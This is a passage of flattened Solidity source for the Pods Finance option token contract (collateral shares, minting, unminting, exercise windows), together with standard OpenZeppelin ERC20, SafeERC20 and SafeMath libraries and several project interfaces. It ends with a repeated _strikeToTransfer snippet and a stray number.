amountOfOptions) external override view returns (uint256) { return _strikeToTransfer(amountOfOptions); } /** * @notice Checks if the options trade window has opened. */ function isTradeWindow() external override view returns (bool) { return _isTradeWindow(); } /** * @notice Checks if the options exercise window has opened. */ function isExerciseWindow() external override view returns (bool) { return _isExerciseWindow(); } /** * @notice Checks if the options withdraw window has opened. */ function isWithdrawWindow() external override view returns (bool) { return _isWithdrawWindow(); } /** * @notice The option type. eg: CALL, PUT */ function optionType() external override view returns (OptionType) { return _optionType; } /** * @notice Exercise type. eg: AMERICAN, EUROPEAN */ function exerciseType() external override view returns (ExerciseType) { return _exerciseType; } /** * @notice The sell price of each unit of underlyingAsset; given in units * of strikeAsset, e.g. 0.99 USDC */ function strikePrice() external override view returns (uint256) { return _strikePrice; } /** * @notice The number of decimals of strikePrice */ function strikePriceDecimals() external override view returns (uint8) { return _strikeAssetDecimals; } /** * @notice The timestamp in seconds that represents the series expiration */ function expiration() external override view returns (uint256) { return _expiration; } /** * @notice How many decimals does the strike token have? E.g.: 18 */ function strikeAssetDecimals() public override view returns (uint8) { return _strikeAssetDecimals; } /** * @notice The asset used as the strike asset, e.g. USDC, DAI */ function strikeAsset() public override view returns (address) { return _strikeAsset; } /** * @notice How many decimals does the underlying token have? E.g.: 18 */ function underlyingAssetDecimals() public override view returns (uint8) { return _underlyingAssetDecimals; } /** * @notice The asset used as the underlying token, e.g. WETH, WBTC, UNI */ function underlyingAsset() public override view returns (address) { return _underlyingAsset; } /** * @notice getSellerWithdrawAmounts returns the seller position based on his amount of shares * and the current option position * * @param owner address of the user to check the withdraw amounts * * @return strikeAmount current amount of strike the user will receive. It may change until maturity * @return underlyingAmount current amount of underlying the user will receive. It may change until maturity */ function getSellerWithdrawAmounts(address owner) public override view returns (uint256 strikeAmount, uint256 underlyingAmount) { uint256 ownerShares = shares[owner]; strikeAmount = ownerShares.mul(strikeReserves()).div(totalShares); underlyingAmount = ownerShares.mul(underlyingReserves()).div(totalShares); return (strikeAmount, underlyingAmount); } /** * @notice The timestamp in seconds that represents the start of exercise window */ function startOfExerciseWindow() public override view returns (uint256) { return _startOfExerciseWindow; } /** * @notice Utility function to check the amount of the underlying tokens * locked inside this contract */ function underlyingReserves() public override view returns (uint256) { return IERC20(_underlyingAsset).balanceOf(address(this)); } /** * @notice Utility function to check the amount of the strike tokens locked * inside this contract */ function strikeReserves() public override view returns (uint256) { return IERC20(_strikeAsset).balanceOf(address(this)); } /** * @dev Modifier with the conditions to be able to mint * based on option exerciseType. */ modifier tradeWindow() { require(_isTradeWindow(), "PodOption: trade window has closed"); _; } /** * @dev Modifier with the conditions to be able to unmint * based on option exerciseType. */ modifier unmintWindow() { require(_isTradeWindow() || _isExerciseWindow(), "PodOption: not in unmint window"); _; } /** * @dev Modifier with the conditions to be able to exercise * based on option exerciseType. */ modifier exerciseWindow() { require(_isExerciseWindow(), "PodOption: not in exercise window"); _; } /** * @dev Modifier with the conditions to be able to withdraw * based on exerciseType. */ modifier withdrawWindow() { require(_isWithdrawWindow(), "PodOption: option has not expired yet"); _; } /** * @dev Internal function to check expiration */ function _hasExpired() internal view returns (bool) { return block.timestamp >= _expiration; } /** * @dev Internal function to check trade window */ function _isTradeWindow() internal view returns (bool) { if (_hasExpired()) { return false; } else if (_exerciseType == ExerciseType.EUROPEAN) { return !_isExerciseWindow(); } return true; } /** * @dev Internal function to check window exercise started */ function _isExerciseWindow() internal view returns (bool) { return !_hasExpired() && block.timestamp >= _startOfExerciseWindow; } /** * @dev Internal function to check withdraw started */ function _isWithdrawWindow() internal view returns (bool) { return _hasExpired(); } /** * @dev Internal function to calculate the amount of strike asset needed given the option amount * @param amountOfOptions Intended amount to options to mint */ function _strikeToTransfer(uint256 amountOfOptions) internal view returns (uint256) { uint256 strikeAmount = amountOfOptions.mul(_strikePrice).div(10**uint256(underlyingAssetDecimals())); require(strikeAmount > 0, "PodOption: amount of options is too low"); return strikeAmount; } /** * @dev Calculate number of reserve shares based on the amount of collateral locked by the minter */ function _calculatedShares(uint256 amountOfCollateral) internal view returns (uint256 ownerShares) { uint256 currentStrikeReserves = strikeReserves(); uint256 currentUnderlyingReserves = underlyingReserves(); uint256 numerator = amountOfCollateral.mul(totalShares); uint256 denominator; if (_optionType == OptionType.PUT) { denominator = currentStrikeReserves.add( currentUnderlyingReserves.mul(_strikePrice).div(uint256(10)**underlyingAssetDecimals()) ); } else { denominator = currentUnderlyingReserves.add( currentStrikeReserves.mul(uint256(10)**underlyingAssetDecimals()).div(_strikePrice) ); } ownerShares = numerator.div(denominator); return ownerShares; } /** * @dev Mint options, creating the shares accordingly to the amount of collateral provided * @param amountOfOptions The amount option tokens to be issued * @param amountOfCollateral The amount of collateral provided to mint options * @param owner Which address will be the owner of the options */ function _mintOptions( uint256 amountOfOptions, uint256 amountOfCollateral, address owner ) internal capped(amountOfOptions) { require(owner != address(0), "PodOption: zero address cannot be the owner"); if (totalShares > 0) { uint256 ownerShares = _calculatedShares(amountOfCollateral); shares[owner] = shares[owner].add(ownerShares); totalShares = totalShares.add(ownerShares); } else { shares[owner] = amountOfCollateral; totalShares = amountOfCollateral; } mintedOptions[owner] = mintedOptions[owner].add(amountOfOptions); _mint(msg.sender, amountOfOptions); } /** * @dev Unmints options, burning the option tokens removing shares accordingly and releasing a certain * amount of collateral. * @param amountOfOptions The amount option tokens to be burned * @param owner Which address options will be burned from */ function _unmintOptions(uint256 amountOfOptions, address owner) internal returns (uint256 strikeToSend, uint256 underlyingToSend) { require(shares[owner] > 0, "PodOption: you do not have minted options"); require(amountOfOptions <= mintedOptions[owner], "PodOption: not enough minted options"); uint256 burnedShares = shares[owner].mul(amountOfOptions).div(mintedOptions[owner]); if (_optionType == IPodOption.OptionType.PUT) { uint256 strikeAssetDeposited = totalSupply().mul(_strikePrice).div(10**uint256(decimals())); uint256 totalInterest = 0; if (strikeReserves() > strikeAssetDeposited) { totalInterest = strikeReserves().sub(strikeAssetDeposited); } strikeToSend = amountOfOptions.mul(_strikePrice).div(10**uint256(decimals())).add( totalInterest.mul(burnedShares).div(totalShares) ); // In the case we lost some funds due to precision, the last user to unmint will still be able to perform. if (strikeToSend > strikeReserves()) { strikeToSend = strikeReserves(); } } else { uint256 underlyingAssetDeposited = totalSupply(); uint256 currentUnderlyingAmount = underlyingReserves().add(strikeReserves().div(_strikePrice)); uint256 totalInterest = 0; if (currentUnderlyingAmount > underlyingAssetDeposited) { totalInterest = currentUnderlyingAmount.sub(underlyingAssetDeposited); } underlyingToSend = amountOfOptions.add(totalInterest.mul(burnedShares).div(totalShares)); } shares[owner] = shares[owner].sub(burnedShares); mintedOptions[owner] = mintedOptions[owner].sub(amountOfOptions); totalShares = totalShares.sub(burnedShares); _burn(owner, amountOfOptions); } /** * @dev Removes all shares, returning the amounts that would be withdrawable */ function _withdraw() internal returns (uint256 strikeToSend, uint256 underlyingToSend) { uint256 ownerShares = shares[msg.sender]; require(ownerShares > 0, "PodOption: you do not have balance to withdraw"); (strikeToSend, underlyingToSend) = getSellerWithdrawAmounts(msg.sender); shares[msg.sender] = 0; mintedOptions[msg.sender] = 0; totalShares = totalShares.sub(ownerShares); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IPodOption is IERC20 { /** Enums */ // @dev 0 for Put, 1 for Call enum OptionType { PUT, CALL } // @dev 0 for European, 1 for American enum ExerciseType { EUROPEAN, AMERICAN } /** Events */ event Mint(address indexed minter, uint256 amount); event Unmint(address indexed minter, uint256 optionAmount, uint256 strikeAmount, uint256 underlyingAmount); event Exercise(address indexed exerciser, uint256 amount); event Withdraw(address indexed minter, uint256 strikeAmount, uint256 underlyingAmount); /** Functions */ /** * @notice Locks collateral and write option tokens. * * @dev The issued amount ratio is 1:1, i.e., 1 option token for 1 underlying token. * * The collateral could be the strike or the underlying asset depending on the option type: Put or Call, * respectively * * It presumes the caller has already called IERC20.approve() on the * strike/underlying token contract to move caller funds. * * Options can only be minted while the series is NOT expired. * * It is also important to notice that options will be sent back * to `msg.sender` and not the `owner`. This behavior is designed to allow * proxy contracts to mint on others behalf. The `owner` will be able to remove * the deposited collateral after series expiration or by calling unmint(), even * if a third-party minted options on its behalf. * * @param amountOfOptions The amount option tokens to be issued * @param owner Which address will be the owner of the options */ function mint(uint256 amountOfOptions, address owner) external; /** * @notice Allow option token holders to use them to exercise the amount of units * of the locked tokens for the equivalent amount of the exercisable assets. * * @dev It presumes the caller has already called IERC20.approve() exercisable asset * to move caller funds. * * On American options, this function can only called anytime before expiration. * For European options, this function can only be called during the exerciseWindow. * Meaning, after expiration and before the end of exercise window. * * @param amountOfOptions The amount option tokens to be exercised */ function exercise(uint256 amountOfOptions) external; /** * @notice After series expiration in case of American or after exercise window for European, * allow minters who have locked their collateral to withdraw them proportionally * to their minted options. * * @dev If assets had been exercised during the option series the minter may withdraw * the exercised assets or a combination of exercised and collateral. */ function withdraw() external; /** * @notice Unlocks collateral by burning option tokens. * * Options can only be burned while the series is NOT expired. * * @param amountOfOptions The amount option tokens to be burned */ function unmint(uint256 amountOfOptions) external; function optionType() external view returns (OptionType); function exerciseType() external view returns (ExerciseType); function underlyingAsset() external view returns (address); function underlyingAssetDecimals() external view returns (uint8); function strikeAsset() external view returns (address); function strikeAssetDecimals() external view returns (uint8); function strikePrice() external view returns (uint256); function strikePriceDecimals() external view returns (uint8); function expiration() external view returns (uint256); function startOfExerciseWindow() external view returns (uint256); function hasExpired() external view returns (bool); function isTradeWindow() external view returns (bool); function isExerciseWindow() external view returns (bool); function isWithdrawWindow() external view returns (bool); function strikeToTransfer(uint256 amountOfOptions) external view returns (uint256); function getSellerWithdrawAmounts(address owner) external view returns (uint256 strikeAmount, uint256 underlyingAmount); function underlyingReserves() external view returns (uint256); function strikeReserves() external view returns (uint256); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "../interfaces/IConfigurationManager.sol"; import "../interfaces/ICapProvider.sol"; /** * @title CappedOption * @author Pods Finance * * @notice Controls a maximum cap for a guarded release */ abstract contract CappedOption is IERC20 { using SafeMath for uint256; IConfigurationManager private immutable _configurationManager; constructor(IConfigurationManager configurationManager) public { _configurationManager = configurationManager; } /** * @dev Modifier to stop transactions that exceed the cap */ modifier capped(uint256 amountOfOptions) { uint256 cap = capSize(); if (cap > 0) { require(this.totalSupply().add(amountOfOptions) <= cap, "CappedOption: amount exceed cap"); } _; } /** * @dev Get the cap size */ function capSize() public view returns (uint256) { ICapProvider capProvider = ICapProvider(_configurationManager.getCapProvider()); return capProvider.getCap(address(this)); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; contract RequiredDecimals { uint256 private constant _MAX_TOKEN_DECIMALS = 38; /** * Tries to fetch the decimals of a token, if not existent, fails with a require statement * * @param token An instance of IERC20 * @return The decimals of a token */ function tryDecimals(IERC20 token) internal view returns (uint8) { // solhint-disable-line private-vars-leading-underscore bytes memory payload = abi.encodeWithSignature("decimals()"); // solhint-disable avoid-low-level-calls (bool success, bytes memory returnData) = address(token).staticcall(payload); require(success, "RequiredDecimals: required decimals"); uint8 decimals = abi.decode(returnData, (uint8)); require(decimals < _MAX_TOKEN_DECIMALS, "RequiredDecimals: token decimals should be lower than 38"); return decimals; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity >=0.6.12; interface IConfigurationManager { function setParameter(bytes32 name, uint256 value) external; function setEmergencyStop(address emergencyStop) external; function setPricingMethod(address pricingMethod) external; function setIVGuesser(address ivGuesser) external; function setIVProvider(address ivProvider) external; function setPriceProvider(address priceProvider) external; function setCapProvider(address capProvider) external; function setAMMFactory(address ammFactory) external; function setOptionFactory(address optionFactory) external; function setOptionHelper(address optionHelper) external; function setOptionPoolRegistry(address optionPoolRegistry) external; function getParameter(bytes32 name) external view returns (uint256); function owner() external view returns (address); function getEmergencyStop() external view returns (address); function getPricingMethod() external view returns (address); function getIVGuesser() external view returns (address); function getIVProvider() external view returns (address); function getPriceProvider() external view returns (address); function getCapProvider() external view returns (address); function getAMMFactory() external view returns (address); function getOptionFactory() external view returns (address); function getOptionHelper() external view returns (address); function getOptionPoolRegistry() external view returns (address); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; interface ICapProvider { function setCap(address target, uint256 value) external; function getCap(address target) external view returns (uint256); }
* @dev Internal function to calculate the amount of strike asset needed given the option amount @param amountOfOptions Intended amount to options to mint/
function _strikeToTransfer(uint256 amountOfOptions) internal view returns (uint256) { uint256 strikeAmount = amountOfOptions.mul(_strikePrice).div(10**uint256(underlyingAssetDecimals())); require(strikeAmount > 0, "PodOption: amount of options is too low"); return strikeAmount; }
527,998
